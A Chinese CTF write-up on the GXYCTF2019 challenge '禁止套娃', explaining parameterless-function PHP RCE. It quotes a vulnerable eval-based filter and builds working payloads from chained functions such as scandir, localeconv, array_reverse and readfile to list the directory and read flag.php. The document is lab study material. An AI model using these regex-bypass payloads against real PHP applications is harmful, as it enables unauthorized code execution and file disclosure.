[GXYCTF2019]禁止套娃(无参数函数RCE)

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
参考链接:
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#什么是无参数函数RCE
https://www.cnblogs.com/wangtanzhi/p/12260986.html

什么是无参数函数RCE

传统意义上,如果我们有eval($_GET['code']);
即代表我们可以进行getshell
但如果有了这种限制

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}

该正则会限制函数内参数的使用,只允许这样的格式

a(b(c()));
a();

但不允许这样

a('123');

这样一来,失去了参数,我们进行RCE的难度则会大幅上升。
我们需要进行bypass这种限制,这就是无参数函数RCE

[GXYCTF2019]禁止套娃

我们可以用一道CTF题目来实例
在这里插入图片描述
题目里面就只有输出这串字符,什么提示都没有,多半就是源码泄露了
参考大佬的wp,是.git泄露,但是我用GitHack扒拉不出源码来,(;´д`)ゞ
只能扒拉大佬的了( • ̀ω•́ )✧

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

这个题很典型的无参数函数RCE
既然是无参数函数RCE,那就不用考虑getshell了,需要考虑怎么读源码
flag多半就在flag.php里面,那我们先构造一个读当前目录的代码,看看有什么文件

print_r(scandir('.'));

scandir()函数可以扫描当前目录下的文件,这串代码足以完成上面的需求
但是这是无参数函数RCE啊,直接传入该代码,中间的'.'会给匹配到的
所以我们需要一个无参函数的值来代替中间那个'.'
看看这些函数:

localeconv()
函数返回一包含本地数字及货币格式信息的数组,而数组第一项就是`.`
current()
返回数组中的当前单元, 默认取第一个值
pos()current()函数相同的作用

看到这里是不是就想到了!
我们可以利用这些函数构造查看目录的payload:

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

在这里插入图片描述
果然有个flag.php!
既然是数组,那我们怎么单独指向它呢?
再看看以下函数:

array_reverse()
以相反的元素顺序返回数组
array_flip()
交换数组的键和值
array_rand()
从数组中随机取出一个或多个单元
next()
函数将内部指针指向数组中的下一个元素,并输出

看到这些操作数组的函数,是不是就联想到很多可能性了呢(´・ᴗ・`)

print_r(array_reverse(scandir(current(localeconv()))));print_r(array_rand(array_flip(scandir(current(localeconv())))));
//上面这串感觉很鸡肋,但也不是不能用,作用是反转数组里面的值和键,用原本的键当做参数供array_rand()来随机指向flag.php

在这里插入图片描述

这样就可以把数组反过来了,再加上个next把指针指向下一个

print_r(next(array_reverse(scandir(current(localeconv())))));

在这里插入图片描述
就可以指向flag.php了,那么怎么读它呢?
最后看看这些函数:

file_get_contents()
readfile()
highlight_file()
show_source()

这些函数都可以输出源码,但需要注意的是,上面index.php代码中正则匹配了et字符,file_get_contents()就用不了啦
构造读flag的payload:

?exp=readfile(next(array_reverse(scandir(pos(localeconv())))));
//这种方式需要用源代码查看flag
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
//数组的元素比较少,多刷新几次会显示出来的

——————————————————————————————————————————————————
还看到大佬的wp中有一种看起来很 玄学 牛逼的方法(反正能用来拿flag的都是好方法)
在这里插入图片描述
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
因此手动设置名为PHPSESSID的cookie,并设置值为flag.php
然后改一下输出方式
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值